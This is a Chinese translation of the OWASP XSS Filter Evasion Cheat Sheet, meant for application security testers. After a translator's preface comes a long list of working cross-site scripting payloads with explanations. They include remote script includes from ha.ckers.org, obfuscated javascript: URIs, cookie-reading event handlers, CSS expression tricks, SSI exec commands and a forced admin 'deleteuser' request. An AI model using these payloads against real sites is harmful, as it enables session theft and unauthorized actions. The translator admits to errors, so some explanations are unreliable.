譯者注:
翻譯本文的最初緣由是當我本身看到這篇文章後,以爲它是很是有價值。可是這麼著名的一個備忘錄卻一直沒有人把它翻譯成中文版。不少人僅僅是簡單的把文中的 各類代碼複製下來,而後看起來很刁的發在各類論壇上,不過你要真去認真研讀這些代碼,就會徹底不知所云了。緣由是這篇文章最精華的部分是代碼的解釋而非代 碼自己。javascript
一方面爲了本身學習,一方面也想讓更多國內的xss愛好者去更方便的閱讀本文。因此雖然我自己英語很爛,xss技術也很爛,但仍是去翻譯了這篇文 章。固然這也致使最後翻譯出來的文章晦澀難懂、不知所云。這個真心向你們說聲抱歉啊,也但願你們能及時幫忙提出文中的翻譯錯誤或其餘錯誤。php
另外,在翻譯過程當中,我發現XSS Filter Evasion Cheat Sheet原版自己也存在一些技術上的或是描述上的錯誤。不過雖然我知道原文中某些地方可能出錯,可是我也不知道正確的應該是什麼樣的,還有就是或許原文 自己是對的,可是我理解錯了。種種緣由吧,最後基本上都按原文在翻譯,有些以爲可能存在錯誤的地方或是我理解不了的地方,我就沒有翻譯,繼續使用英文。希 望你們能夠幫忙給出翻譯或是解釋。css
若是你們有能力閱讀英文的話,儘可能閱讀原文,即便要看這個翻譯版,也配合英文版一塊兒看。不要讓個人翻譯錯誤誤人子弟啊。最後但願你們能夠和我一塊兒解決翻譯中的各類錯誤,把這個中文版維護好。html
謝謝java
源文檔地址:https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheetgit
翻譯文檔在線閱讀:https://www.zybuluo.com/laodao/note/9592web
這篇文章的主要目的是去給應用安全測試者提供一份xss漏洞檢測指南。文章的初始內容由RSnake提供給OWASP,從他的xss備忘錄: http://ha.ckers.org/xss.html 。目前這個網頁已經重定向到咱們這裏,咱們打算維護和完善它。OWASP的第一個防護備忘錄項目:the XSS (Cross Site Scripting) Prevention Cheat Sheet靈感來源於RSnake的 XSS Cheat Sheet,因此咱們對他給予咱們的啓發表示感謝。咱們想要去建立短小簡單的參考給開發者去幫助他們預防xss漏洞,而不是建立一個複雜的備忘錄去簡單的 告訴他們須要去預防各類千奇百怪的攻擊。因此,OWASP備忘錄系列誕生了。算法
這個備忘錄主要針對那些已經理解了最基本的xss攻擊,可是想要深刻理解各類過濾器繞過的細微差異的學習者。chrome
請注意大部分的xss攻擊向量已經在其代碼下方給出了測試過的瀏覽器列表。數據庫
注入下面這些代碼,在大多數沒有特殊xss向量要求而已遭受腳本攻擊的地方將會彈出單詞「xss」。使用url編碼器去編碼你的整個代碼。小技巧:若是你是急切的須要快去檢測一個頁面,一般只須要注入輕量的 「<任意字符>」 標籤,而後判斷輸出點是否受到干擾就能夠判斷是否xss漏洞了。
';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//"; alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
若是你沒有充足的輸入空間去檢測頁面是否存在xss漏洞。下面這段代碼是一個好的簡潔的xss注入檢測代碼。在注入這段代碼後,查看頁面源代碼尋找是否存在看起來像 <XSS verses <XSS這樣的輸入點從而判斷是否存在xss漏洞。
'';!--"<XSS>=&{()}
這是一個常規的xss注入代碼,雖然一般它會被防護,可是咱們建議首先去嘗試它。(引號是不被須要的在任何現代瀏覽器中,所以這裏省略了它。)
<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
圖片xss依靠javascript指令實現。(IE7.0不支持javascript指令在圖片上下文中,可是能夠在其餘上下文觸發。下面的例子僅僅展現了一種其餘標籤依舊通用的原理。)
<IMG SRC="javascript:alert('XSS');">
<IMG SRC=javascript:alert('XSS')>
<IMG SRC=JaVaScRiPt:alert('XSS')>
The semicolons are required for this to work:
<IMG SRC=javascript:alert("XSS")>
若是你的javascript代碼中須要同時使用單引號和雙引號,那麼可使用重音符(`)來包裹javascript代碼。它也常常會很是有用由於xss過濾代碼未考慮到這個字符。
<IMG SRC=`javascript:alert("RSnake says, 'XSS'")`>
跳過href屬性,而直接獲取xss實質攻擊代碼…提出被David Cross ~ 已驗證在chrome瀏覽器
<a onmouseover="alert(document.cookie)">xxs link</a>
此外,chrome瀏覽器喜歡去不全確實的引號爲你。若是你遇到阻礙那麼直接省略它們吧,chrome將會正確的幫你不全缺失的引號在URL和script中。
<a onmouseover=alert(document.cookie)>xxs link</a>
最先被 Begeek發現(能夠短小而乾淨的運行於任何瀏覽器),這個xss向量依靠鬆散的渲染引擎解析IMG標籤中被引號包含的字符串來實現。我猜想它最初是爲了正確編碼而形成的。這將使它更加困難的去解釋HTML標籤。
<IMG """><SCRIPT>alert("XSS")</SCRIPT>">
若是沒有任何形式的引號被容許,你能夠eval()一串fromCharCode在javascript來建立任何你須要的xss向量。
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
這將繞過絕大多數SRC域名過濾器。插入javascript代碼在任何一個事件方法一樣適用於熱河一個HTML標籤,例如Form、 Iframe、Input、Embed等等。他將也容許任何任何該標籤的相關事件去替換,例如onblur, onclick等,後面咱們會附加一個可用的事件列表。由David Cross提供,Abdullah Hussam編輯。
<IMG SRC=# onmouseover="alert('xxs')">
<IMG SRC= onmouseover="alert('xxs')">
<IMG onmouseover="alert('xxs')">
<IMG SRC=/ onerror="alert(String.fromCharCode(88,83,83))"></img>
全部在使用javascript指令的xss示例將沒法工做在 Firefox 或 Netscape 8.1+,由於它們使用了 Gecko 渲染引擎。使用 XSS Calculator 獲取更多信息。
<IMG SRC=javascript:alert( 'XSS')>
他是常常有用的在繞過尋找」&#XX;」格式的xss過濾,由於大多數人不知道最多容許7位字符的編碼限制。這也是有用的對那些對字符串解碼像$tmp_string =~ s/.\&#(\d+);./$1/; ,錯誤的認爲一個html編碼須要用;去結束。(我是無心中發現)
<IMG SRC=javascript:alert('XSS')>
這也是一種實用的xss攻擊針對上文的$tmp_string =~ s/.\&#(\d+);./$1/; ,錯誤的認爲數字編碼跟隨在#後面(十六進制htnl編碼並不是如此),。使用 XSS Calculator 獲取更多信息。
<IMG SRC=javascript:alert('XSS')>
用來分開xss攻擊代碼
<IMG SRC="jav ascript:alert('XSS');">
用來分開xss攻擊代碼
<IMG SRC="jav	ascript:alert('XSS');">
一些網站聲稱09-13編碼的全部字符(十進制)均可以實現這種形式的攻擊。這是不正確的。只有09(tab), 10 (換行) 和 13 (回車)可使用。查看ascii表爲更詳細的信息。下面四個xss例子展現了這個向量。
<IMG SRC="jav
ascript:alert('XSS');">
注意:上面我編寫的三個xss字符串比必須的字符串更長,緣由是0能夠被省略。一般我看到的過濾器假設十六進制和十進制的編碼是兩到三個字符。正確的應該是一到七個字符。
<IMG SRC="jav
ascript:alert('XSS');">
null字符也能夠做爲一個xss向量,可是不像上邊那樣。你須要直接注入它們利用一些工具例如Burp Proxy,或是使用 %00 在你的url字符串裏。或者若是你想寫你本身的注入工具你可使用vim(^V^@ 會生成null),以及用下面的程序去生成它到一個文本文件中。好吧,我再一次撒謊了。 Opera的老版本(大約 7.11 on Windows)是脆弱的對於一個額外的字符173(軟連字符)。可是null字符 %00 是更加的有用或者幫助咱們繞過某些真實存在的過濾器用過變更像這個例子中的。
perl -e 'print "<IMG SRC=java\0script:alert(\"XSS\")>";' > out
xss過濾拼配模式沒有考慮單詞」javascript:」中可能存在空格是正確的,由於不然將沒法渲染。可是這也致使了錯誤的假設認爲你不能夠有一個空格在引號和 「javascript:」 單詞之間。事實上你能夠插入 1-32編碼字符(十進制)中的任何字符。
<IMG SRC="  javascript:alert('XSS');">
Firefox html解析器設定一個非數字字母字符不是有效的在一個html關鍵字後面,所以這些字符會被視爲空白符或是無效的token在html標籤以後。這致使不少xss過濾器錯誤的認爲html標籤必須是被空白符隔斷的。例如,"<SCRIPT\s" != "<SCRIPT/XSS\s"
:
<SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT>
和上面的原理相同,咱們繼續擴大,Gecko渲染引擎容許字母、數字、html封裝字符之外的任何字符位於事件處理器與等號之間。從而藉此繞過xss過濾器。注意這也是適用於重音符以下所示:
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>
Yair Amit 提示我有一個小區別在 ie和Gecko 渲染引擎之間是他們僅容許一個一個斜槓在html標籤和參數之間,在不使用空格的狀況下。這多是有用的在那些不容許輸入空格的系統中。
<SCRIPT/SRC="http://ha.ckers.org/xss.js"></SCRIPT>
Franz Sedlmaier提出,利用這個xss向量能夠繞過某些檢測引擎,由於這些引擎經過拼配最先出現的一對尖括號,而且提取其內部內容做爲標籤,而沒有使用 更加有效的算法例如 Boyer-Moore(尋找打開的尖括號以及相關標籤的模糊拼配)。代碼中的雙斜槓能夠抑制額外尖括號致使的javascript錯誤。
<<SCRIPT>alert("XSS");//<</SCRIPT>
對於使用了 Gecko渲染引擎的Firefox 和 Netscape 8.1 ,你並不須要常規xss中」></SCRIPT>」這部分。 Firefox會幫你閉合標籤,而且加入結束標籤。多麼的體貼啊! Unlike the next one, which doesn’t effect Firefox, this does not require any additional HTML below it. 若是須要,你能夠加入引號,但一般他並非必須的。注意,我並不清楚這個代碼被注入後html代碼會閉合成什麼樣子。
<SCRIPT SRC=http://ha.ckers.org/xss.js?< B >
這個特殊的變體由 Łukasz Pilorz 提出,而且基於上文中 Ozh提出的協議解析繞過。這個xss例子工做在 IE, 使用IE渲染引擎的Netscape 以及加了在結尾的 Opera。這是很是有用的在輸入長度受到限制。域名越短越好。 「.j」是有效的,不須要考慮編碼問題由於瀏覽拿起能夠自動識別在一個script標籤中。
<SCRIPT SRC=//ha.ckers.org/.j>
不一樣於 Firefox ,ie渲染引擎不會加入額外的數據到你的頁面。可是它容許javascript指定在圖片標籤中這是有用的做爲一個xss向量,由於它不須要一個結束的尖 括號。你能夠插入這個xss向量在任何html標籤後面。甚至沒有用」>」關閉標籤。 A note: this does mess up the HTML, depending on what HTML is beneath it. It gets around the following NIDS regex: /((\%3D)|(=))[^\n]*((\%3C)|<)[^\n]+((\%3E)|>)/ because it doesn’t require the end 「>」. 這也是有效的去對付真實的xss過濾器,我曾經遇見過試用半開的<IFRAME 標籤替代 <IMG 標籤,
<IMG SRC="javascript:alert('XSS')"
使用一個開始尖括號(<)在向量結尾代替一個關閉尖括號(>)會有不一樣的影響在 Netscape Gecko 的渲染中。 Without it, Firefox will work but Netscape won’t。
<iframe src=http://ha.ckers.org/scriptlet.html <
當一個應用程序是輸出用戶自定義的信息到javascript代碼中,例如: <SCRIPT>var a=」$ENV{QUERY_STRING}」;</SCRIPT>。若是你想插入你本身的javascript代碼進入它,可是服務器轉義 了其中的某些引號,這時你須要經過轉義被轉義的字符來繞過它。從而使最終的輸入代碼相似於<SCRIPT>var a=」\」;alert(‘XSS’);//」;</SCRIPT> 。最終\轉義了雙引號前被服務器添加的\,而雙引號則不會被轉義,從而觸發xss向量。xss定位器使用這個方法。
\";alert('XSS');//
這是一個簡單的xss向量,能夠引入一個惡意的xss攻擊。
譯者注:titile標籤內部不支持html代碼,全部內容會被自動轉義爲普通字符。
</TITLE><SCRIPT>alert("XSS");</SCRIPT>
<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
<BODY BACKGROUND="javascript:alert('XSS')">
<IMG DYNSRC="javascript:alert('XSS')">
<IMG LOWSRC="javascript:alert('XSS')">
<STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS</br>
爲帶有符號的列表嵌入自定義圖片的符號。它是隻能工做在ie渲染引擎由於javascript指令。這不是一個特別有用的xss向量。
<STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS</br>
<IMG SRC='vbscript:msgbox("XSS")'>
<IMG SRC="livescript:">
這個方法不須要使用任何」javascript:」 or 「<SCRIPT...
」 的變體去實現xss攻擊。Dan Crowley特別指出你能夠額外的加入一個空格在等號以前(「onload=」 != 「onload =」):
<BODY ONLOAD=alert('XSS')>
它能夠被用於上文中的一些共性xss攻擊(這是最完整的一個實時更新的在線列表)。感謝Rene Ledosquet 的更新。此外你能夠參考 Dottoro Web Reference 或是 events in JavaScript.
1. FSCommand() (攻擊者可使用它當執行一個嵌入的flash對象時) 2. onAbort() (當使用者終止一張正在載入的圖片) 3. onActivate() (當對象被設置爲激活元素) 4. onAfterPrint() (用戶打印或是預覽打印工做後激活) 5. onAfterUpdate() (激活在一個數據對象當源對象數據更新後) 6. onBeforeActivate() (觸發在一個對象被設置爲激活元素) 7. onBeforeCopy() (攻擊者執行攻擊代碼在一個選區被複制到剪貼板以前-攻擊者能夠實現它經過execCommand("Copy")函數。) 8. onBeforeCut() (攻擊者執行攻擊代碼在在一個選區被剪貼。) 9. onBeforeDeactivate() (當激活元素被改變後觸發) 10. onBeforeEditFocus() (觸發在一個可被編輯的元素內的對象就按測到一個 UI-activated狀態或是一個可被編輯對象被選擇以前) 11. onBeforePaste() (用戶須要被欺騙執行粘貼或是去觸發它經過execCommand("Paste")函數。) 12. onBeforePrint() (用戶須要被欺騙執行打印或是攻擊者可使用print()或是execCommand("Print")函數。) 13. onBeforeUnload() (用戶須要被欺騙關閉瀏覽器-攻擊者不能夠 unload windows除非它是被執行從其父窗口。) 14. onBeforeUpdate() (激活在數據對象在源對象更新數據以後。) 15. onBegin() (onbegin 事件被當即觸發當元素的聲明週期開始後) 16. onBlur() (當失去焦點時觸發*) 17. onBounce() (觸發當選框對象的behavior屬性被設置爲"alternate"或是選框的內容抵達窗口的一邊。) 18. onCellChange() (觸發當數據改變在數據provider) 19. onChange() (select, text, or TEXTAREA 字段失去焦點或是它們的值是被改變。) 20. onClick()(點擊事件) 21. onContextMenu() (用戶須要右擊在攻擊攻擊區域) 22. onControlSelect() (當用戶去控制一個選擇對象時觸發。) 23. onCopy() (用戶須要去copy某些東西或是利用execCommand("Copy")命令) 24. onCut() (用戶須要copy某些東西或是利用execCommand("Cut") 命令) 25. onDataAvailable() (用戶改變數據在某個元素上或是攻擊者能夠執行相同的函數。) 26. onDataSetChanged() (當源數據對象被改變時觸發) 27. onDataSetComplete() (觸發當數據是成功獲取到從數據源對象) 28. onDblClick() (用戶雙擊某個元素。) 29. onDeactivate() (噹噹前元素失去激活狀態時觸發) 30. onDrag() (須要用戶拖動某個對象) 31. onDragEnd() (須要用戶拖動某個對象) 32. onDragLeave() (須要用戶拖動某個對象從一個有效的位置。) 33. onDragEnter() (須要用戶拖動某個對象從一個有效的位置。) 34. onDragOver() (須要用戶拖動某個對象從一個有效的位置。) 35. onDragDrop() (用戶拖動某個對象(例如文件)到瀏覽器窗口內。) 36. onDragStart() (當用戶開始拖動操做時發生。) 37. onDrop() (用戶拖動某個對象(例如文件)到瀏覽器窗口內。) 38. onEnd() (當生命週期結束時觸發) 39. onError() (載入document 或 image發生錯誤時觸發) 40. onErrorUpdate() (當更新數據源的相關對象時發生錯誤則觸發) 41. onFilterChange() (當一個濾鏡完成狀態改變時觸發) 42. onFinish() (移動的Marquee文字完成一次移動時觸發) 43. onFocus() (當窗口得到焦點時攻擊者能夠執行代碼) 44. onFocusIn() (當窗口得到焦點時攻擊者能夠執行代碼) 45. onFocusOut() (當窗口失去焦點時攻擊者能夠執行代碼) 46. onHashChange() (噹噹前地址的hash發生改變時觸發) 47. onHelp() (當用戶在當前窗口點擊F1時觸發攻擊代碼) 48. onInput() (可編輯元素中的內容被用戶改變後出發) 49. onKeyDown() (用戶按下一個鍵) 50. onKeyPress() (用戶點擊或是按下一個鍵) 51. onKeyUp() (用戶釋放一個鍵) 52. onLayoutComplete() (用戶須要去打印或是打印預覽) 53. onLoad() (攻擊者執行攻擊代碼在窗口載入後) 54. onLoseCapture() (能夠被觸發被releaseCapture() 方法) 55. onMediaComplete() (當波翻改一個流媒體文件時,這個事件將觸發在文件開始播放前。) 56. onMediaError() (當用戶打開的頁面包含一個媒體文件,而且發生錯誤時觸發) 57. onMessage() (當文檔對象接受到一個信息時觸發) 58. onMouseDown() (攻擊者須要讓用戶去點擊一張圖片。) 59. onMouseEnter() (光標移入一個對象或是區域) 60. onMouseLeave() (攻擊者須要讓用戶移動光標進入一個圖片或是表格,接着再次移出) 61. onMouseMove() (攻擊者須要讓用戶移動鼠標進入一個圖片或是表格上) 63. onMouseOver() (光標移到一個對象或是區域上) 64. onMouseUp() (攻擊者須要讓用戶點擊一張圖片) 65. onMouseWheel() (擁擠着須要讓用戶去使用他們的鼠標滾輪) 66. onMove() (用戶或攻擊者須要移動頁面) 67. onMoveEnd() (用戶說攻擊者須要移動頁面) 68. onMoveStart() (用戶說攻擊者須要移動頁面) 69. onOffline() (瀏覽器從在線模式轉換到離線模式時發生) 70. onOnline() (瀏覽器從離線模式轉換到在線模式時發生) 71. onOutOfSync() (interrupt the element's ability to play its media as defined by the timeline) 72. onPaste() (用戶須要去粘貼或是攻擊者執行execCommand("Paste") 方法) 73. onPause() (當激活元素時間停頓時觸發,包括body元素) 74. onPopState() (當用戶返回會話歷史時觸發) 75. onProgress() (當一個flash動畫載入時觸發) 76. onPropertyChange() (用戶或攻擊者須要改變一個元素的屬性) 77. onReadyStateChange() (用戶或攻擊者須要改變一個元素的屬性) 78. onRedo() (用戶執行再執行操做) 79. onRepeat() (the event fires once for each repetition of the timeline, excluding the first full cycle) 80. onReset() (用戶或攻擊者重置表單) 81. onResize() (用戶調整窗口大小,或是攻擊者自動觸發經過某些代碼例如<SCRIPT>self.resizeTo(500,400);</SCRIPT>) 82. onResizeEnd() (用戶調整窗口大小,或是攻擊者自動觸發經過某些代碼例如<SCRIPT>self.resizeTo(500,400);</SCRIPT>) 83. onResizeStart() (用戶調整窗口大小,或是攻擊者自動觸發經過某些代碼例如<SCRIPT>self.resizeTo(500,400);</SCRIPT>) 84. onResume() (當元素從暫停恢復到激活時觸發,包括body元素) 85. onReverse() (if the element has a repeatCount greater than one, this event fires every time the timeline begins to play backward) 86. onRowsEnter() (用戶或攻擊者須要改變數據源中的一行) 87. onRowExit() (用戶或攻擊者須要改變數據源中的一行) 88. onRowDelete() (用戶或攻擊者須要刪除數據源中的一行) 89. onRowInserted() (用戶或攻擊者須要向數據源中插入一行) 90. onScroll() (用戶須要滾動,或是攻擊者能夠執行scrollBy() 函數) 91. onSeek() (媒體播放移動到新位置) 92. onSelect() (用戶須要去選擇一些文本 - 攻擊者能夠自動運行利用某些方法例如 window.document.execCommand("SelectAll");) 93. onSelectionChange() (用戶須要去選擇一些文本 - 攻擊者能夠自動運行利用某些方法例如 window.document.execCommand("SelectAll");) 94. onSelectStart() (用戶須要去選擇一些文本 - 攻擊者能夠自動運行利用某些方法例如 window.document.execCommand("SelectAll");) 95. onStart() (當marquee元素循環開始時觸發) 96. onStop() (用戶須要點擊中止按鈕或是離開網頁) 97. onStorage() (存儲區域改變) 98. onSyncRestored() (user interrupts the element's ability to play its media as defined by the timeline to fire) 99. onSubmit() (須要攻擊者或用戶提交表單) 100. onTimeError() (用戶或攻擊者須要設置一個時間屬性例如 dur 的值爲無效的值) 101. onTrackChange() (用戶或攻擊者須要改變播放列表的軌跡) 102. onUndo() (user went backward in undo transaction history) 103. onUnload() (當用戶點擊一個連接或是按下回車鍵或是攻擊者觸發一個點擊事件) 104. onURLFlip() (this event fires when an Advanced Streaming Format (ASF) file, played by a HTML+TIME (Timed Interactive Multimedia Extensions) media tag, processes script commands embedded in the ASF file) 105. seekSegmentTime() (this is a method that locates the specified point on the element's segment time line and begins playing from that point. The segment consists of one repetition of the time line including reverse play using the AUTOREVERSE attribute.)
<BGSOUND SRC="javascript:alert('XSS');">
<BR SIZE="&{alert('XSS')}">
<LINK REL="stylesheet" HREF="javascript:alert('XSS');">
(經過某些方式例如最簡單的遠程樣式表,你能夠插入一個樣式參數爲嵌入表達式的xss代碼)。它是僅僅工做在IE瀏覽器或是使用了IE渲染引擎的 Netscape 8.1+。須要注意的是頁面中並無展示出它包含了javascript代碼。注意:全部的遠程樣式表示例須要至少用到body標籤,負責將沒法工做除非 頁面中包含除了向量自己的其餘內容。所以你須要添加至少一個字母到頁面確保他能夠工做若是它是一個空白頁面。
<LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css">
他的工做原理與上面相同。可是使用了STYLE標籤代替LINK標籤。榆次向量稍有不一樣的變異被用於攻擊Google Desktop。你能夠移除</STYLE>標籤當後面的html去閉合它。這個向量是有用的在不容許輸入等號或是反斜槓的實際環境中。
<STYLE>@import'http://ha.ckers.org/xss.css';</STYLE>
它僅僅能夠工做在 Opera 8.0 (no longer in 9.x) ,可是是很是的狡猾。 Opera 8.0 (no longer in 9.x) 。根據RFC2616規定,設置一個鏈接頭不是 HTTP1.1 規定的一部分,可是不少瀏覽器仍然容許它(例如Firefox and Opera)。這個技巧是咱們能夠設置一個http頭(與常規http頭沒有什麼不一樣,只是 Link: http://ha.ckers.org/xss.css; REL=stylesheet)。這樣帶有xss代碼的遠程向量將運行javascript。他並不被支持在 FireFox。
<META HTTP-EQUIV="Link" Content="<http://ha.ckers.org/xss.css>; REL=stylesheet">
它是僅僅工做在 Gecko 渲染引擎。而且須要綁定一個 XUL文件在頁面。使人諷刺的是Netscape認爲Gecko是更加安全的,所以絕大可能是網站會受到這個攻擊。
<STYLE>BODY{-moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss")}</STYLE>
這個xss在ie瀏覽器中會形成無線循環
<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
提出被 Roman Ivanov
<IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">
這是上面xss向量的混合體。可是它是展現了STYLE標籤被分隔有多困難。一樣它也會在ie下形成循環彈窗。
exp/*<A STYLE='no\xss:noxss("*//*"); xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
<STYLE TYPE="text/javascript">alert('XSS');</STYLE>
<STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A class="XSS"></A>
<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
IE6.0 和使用了ix渲染引擎的Netscape 8.1+ 並不會關心你創建的html標籤存在與否。只要它是以尖括號以及字符開始的。
<XSS STYLE="xss:expression(alert('XSS'))">
它有一個小的不一樣與上面的xss向量,由於他使用的 htc 文件必須是當前域的文件。這個文件經過樣式屬性引入並運行javascript代碼實現xss。
<XSS STYLE="behavior: url(xss.htc);">
US-ASCII 編碼 (發現被 Kurt Huwig)。它是使用畸形的ASCII 編碼用7bits代替8bits. 這個xss能夠繞過絕大多數內容過濾,可是必須當前域的傳輸形式爲 US-ASCII編碼方式。或者你本身去設置這種編碼方式 。它是有用的去繞過web應用防火牆xss過濾比服務器端的過濾。Apache的 Tomcat是衆所周知的 使用US-ASCII編碼傳輸協議。
¼script¾alert(¢XSS¢)¼/script¾
關於meta refresh比較奇怪的是他並非發送一個刷新請求頭。所以他一般用於不須要引用url的攻擊。
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">
URL指令方案,它是很是的不錯由於贏沒有明顯的SCRIPT單詞或是JavaScript 指令出現,由於它使用了base64 編碼。請查看 RFC 2397瞭解更多信息或是編碼你的代碼。你也可使用 XSS calculator去編碼你的html或是javascript代碼到base64位。
<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">
若是當前網頁試圖去查找URL參數是否以」http://」 開始,你能夠用下列技術繞過(被 Moritz Naumann提出)
<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');">
若是一個iframes被容許,那麼同時可能會存在大量其餘xss問題
<IFRAME SRC="javascript:alert('XSS');"></IFRAME>
IFrames或其餘元素可使用事件以下(提出被 David Cross)
<IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME>
Frames有一些列相同的問題像 iframes
<FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET>
<TABLE BACKGROUND="javascript:alert('XSS')">
像上面同樣,TD也能夠經過 BACKGROUND 來包含javascript xss向量
<TABLE><TD BACKGROUND="javascript:alert('XSS')">
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
這是被輕微的修改去混淆 url 參數。他是最先被發現被 Renaud Lifchitz用於攻擊hotmail。
<DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029">
Rnaske開發了一個XSS fuzzer去探測能夠在開括號和javascript之間加入哪些額外字符在 IE和安全模式下的 Netscape 8.1。都是一些十進制的字符,可是你也能夠用十六進制來填充。(下面這些編碼字符能夠被使用:1-32, 34, 39, 160, 8192-8.13, 12288, 65279)
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
它的一個變體是更加有效的去繞過實際的xss過濾器是在冒號和表達式之間添加換行符。
<DIV STYLE="width: expression(alert('XSS'));">
只能工做在IE5.0 以及更新版或是使用了ie渲染引擎的Netscape 8.1 。 一些網站認爲任何包裹在註釋中的內容都是安全的,所以並不會被移除。這將容許咱們的xss向量。或者系統可能經過添加註釋對某些內容去試圖無害的渲染它。 如咱們所見,這有時並不起做用。
<!--[if gte IE 4]> <SCRIPT>alert('XSS');</SCRIPT> <![endif]-->
工做ie或是使用了安全模塊的Netscape 8.1,你須要使用 「//」 斜體文本去避免javascript錯誤。這須要當前網站使用相對路徑(例如images/image.jpg)而不是絕對路徑。若是路徑開始用一個斜槓 (例如」/images/image.jpg」),你須要去掉xss向量中的一個斜槓(只有在兩個斜槓的狀況下才會起到註釋做用)
<BASE HREF="javascript:alert('XSS');//">
若是容許objects標籤,你也能夠注入病毒payloads去感染用戶。相似於APPLET標籤。這個連接文件是一個包含xss代碼的html文件。
<OBJECT TYPE="text/x-scriptlet" DATA="http://ha.ckers.org/scriptlet.html"></OBJECT>
點擊這個demo,若是你加入屬性allowScriptAccess=」never」 and allownetworking=」internal」他能夠緩解這個風險(謝謝Jonathan Vanasco 的這個信息)
<EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED>
a="get"; b="URL(\""; c="javascript:"; d="alert('XSS');\")"; eval(a+b+c+d);
這個xss向量盡能夠在IE 和使用了ie渲染引擎的 Netscape 8.1 下工做。它是 Sec Consult在審計雅虎時發現。
<XML SRC="xsstest.xml" ID=I></XML> <SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
它是相同的同上面僅僅代替XML文件爲當前域文件。你能夠看到結果在下面。
它展現的 Grey Magic 是怎樣攻擊 Hotmail 和 Yahoo!的。它是僅僅能夠工做在ie和使用了ie渲染引擎的Netscape 8.1。而且這段代碼須要放在html域body標籤之間。
<HTML><BODY> <?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"> <?import namespace="t" implementation="#default#time2"> <t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>alert("XSS")</SCRIPT>"> </BODY></HTML>
你能夠重命名你的javascript文件爲一個圖片做爲xss向量
<SCRIPT SRC="http://ha.ckers.org/xss.jpg"></SCRIPT>
這須要SSI被安裝在服務器端去使用這個xss向量。但可能我並不須要說起這點,由於若是你能夠運行命令在服務器端,那麼毫無異味會有更加嚴重的問題存在。
<!--#exec cmd="/bin/echo '<SCR'"--><!--#exec cmd="/bin/echo 'IPT SRC=http://ha.ckers.org/xss.js></SCRIPT>'"-->
須要php被安裝在服務器端去使用這個xss向量。一樣的,若是你能夠運行恩任何遠程腳本,那麼將會有更加嚴重的問題。
<? echo('<SCR)'; echo('IPT>alert("XSS")</SCRIPT>'); ?>
它是工做於那些須要用戶認證後才能夠執行命令的當前域頁面。它將能夠建立刪除用戶(若是訪問者是管理員),或是寄送某些憑證等等,雖然他是較少被使用可是是很是有用的。
<IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode">
這是更加的可怕由於並無特別的標識符去使它看起開來可疑。除非不容許引入第三方域的圖片。這個向量是使用一個 302 or 304(或其餘可行方案)去重定向一個圖片地址爲帶有某些命令的地址。所以一個正常的圖片標籤代碼<IMG SRC=」a.jpg」>能夠是帶有命令的xss向量。可是用戶看到的僅僅是正常的圖片連接地址。下面是一個.htaccess(apche下)配 置文件去完成這個向量。(感謝Timo爲這部分。)
Redirect 302 /a.jpg http://victimsite.com/admin.asp&deleteuser
這是公認的不着邊際,可是我已經發下一個例子是用 <META 去覆蓋cookie。另外一個例子是有些網站使用cookie中的某些數據去呈如今當前訪問者的網頁中爲僅僅他本身而不是從遠程數據庫中獲取。當這兩個清靜 聯繫在一塊兒的時候,你能夠經過修改cookie讓javascript輸入到用戶頁面中。(你能夠藉此讓用戶退出,改變用戶的狀態,甚至讓用戶以你的身份 登陸)
<META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>">
